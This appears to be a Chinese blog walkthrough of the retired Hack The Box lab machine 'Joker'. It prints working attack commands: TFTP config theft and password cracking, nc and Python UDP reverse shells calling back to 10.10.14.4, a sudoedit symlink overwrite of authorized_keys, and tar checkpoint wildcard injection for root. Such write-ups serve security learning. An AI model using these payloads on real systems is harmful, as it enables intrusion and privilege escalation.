1. 程式人生 > 實用技巧 >HTB-靶機-Joker

HTB-靶機-Joker

本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切後果與發表本文章的作者無關

靶機是作者購買VIP使用退役靶機操作,顯示IP地址為10.10.10.21

nmap -p- --min-rate 10000 -Pn -oN joker.nmap 10.10.10.21

nmap -p 22,3128 -sC -sV -Pn -oN joker.nmapdetail 10.10.10.21

sudo nmap -sU --top-ports 200 -oN joker.nmapudp 10.10.10.21

nmap掃描結果

此靶機跟udp相關比較多,探測出來了69的tftp服務,直接訪問,根據上面開放的代理埠,下載其預設配置檔案

根據上述獲得的配置檔案資訊,得到了代理密碼的配置檔案位置

通過tftp使用同樣的方式獲取到passwords檔案,然後使用john使用字典破解

得出代理服務的賬號和密碼 為:kalamari:ihateseafood 使用火狐外掛配置好代理

然後訪問下web應用看是否可以有頁面

有頁面但是顯示了個錯誤頁面,訪問本地迴環口IP地址,沒發現啥有價值的資訊,之後使用dirb配置代理跑下目錄

 dirb http://127.0.0.1 -p http://10.10.10.21:3128 -P kalamari:ihateseafood -r

發現了console的URI地址,訪問得到一個Python互動式的視窗,通過一序列測試,可以執行Python命令,查看了下防火牆配置,發現udp協議是全開放,tcp協議只開了特定埠,所以本靶機需要使用udp協議進行反彈shell,經過測試,udp協議真的不穩定,不是卡住了,就是顯示資訊不全,而且還容易掉線,下面是執行Python的反彈shell命令

os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.4 8833 >/tmp/f").read()

本地kali監聽udp協議8833埠

然後執行了一把sudo -l 發現可以通過sudoedit命令不需要密碼的情況下以使用者alekos執行特定的檔案

搜尋一下sudoedit的歷史漏洞資訊

根據漏洞顯示可以使用sudoedit命令開啟軟連線檔案的時候,超過兩級目錄是不會檢查路徑的,那麼這裡可以在目標靶機上建立一個檔案,然後通過軟連線到使用者alekos下面的.ssh/authorized_keys檔案,然後寫入本地kali 的公鑰即可通過本地kali連線使用者alekos

上述成功建立軟連線,可以使用sudoedit -u alekos /var/www/testing/bmfx/layout.html 直接開啟檔案然後貼上自己本地kali 的公鑰儲存即可 ,這裡操作顯示的不方便,明明貼上進去了,會顯示空白,所以只要確保貼上成功了,就可以了

切換到此使用者之後發現兩個目錄其中一個backup目錄

可以看出是存在計劃任務每5分鐘備份一次,備份的檔名在前面的基礎上+300 ,備份完成之後是許可權是root為擁有人,則可判斷為備份的動作是root許可權執行,那麼可以通過計劃任務進行提權,因為提權的動作會以root許可權使用tar命令去執行打包,所以可以通過tar命令執行提權操作,具體可參考如下連結:

https://gtfobins.github.io/gtfobins/tar/
https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
https://www.exploit-db.com/papers/33930
https://0xdf.gitlab.io/2020/07/22/htb-shrek.html#chown-wildcard-exploit

所以通過如下操作進行反彈shell提權

使用Python進行反彈shell,儲存成檔案bmfx.py

#!/usr/bin/python
import subprocess

subprocess.Popen(["python", "-c", 'import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\"10.10.14.4\", 8844));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn(\"/bin/sh\");s.close()'])

在目錄development建立下面的檔案
touch -- --checkpoint=1
touch -- '--checkpoint-action=exec=python bmfx.py'

kali環境下執行監聽8844埠 socat file:`tty`,raw,echo=0 udp-listen:8844

等計劃任務執行即可獲取root-shell

另一種方式獲取root.txt

通過建立development的軟連線到root根目錄,然後利用計劃任務將root根目錄檔案打包到backup目錄下,然後解壓打包的檔案檢視root.txt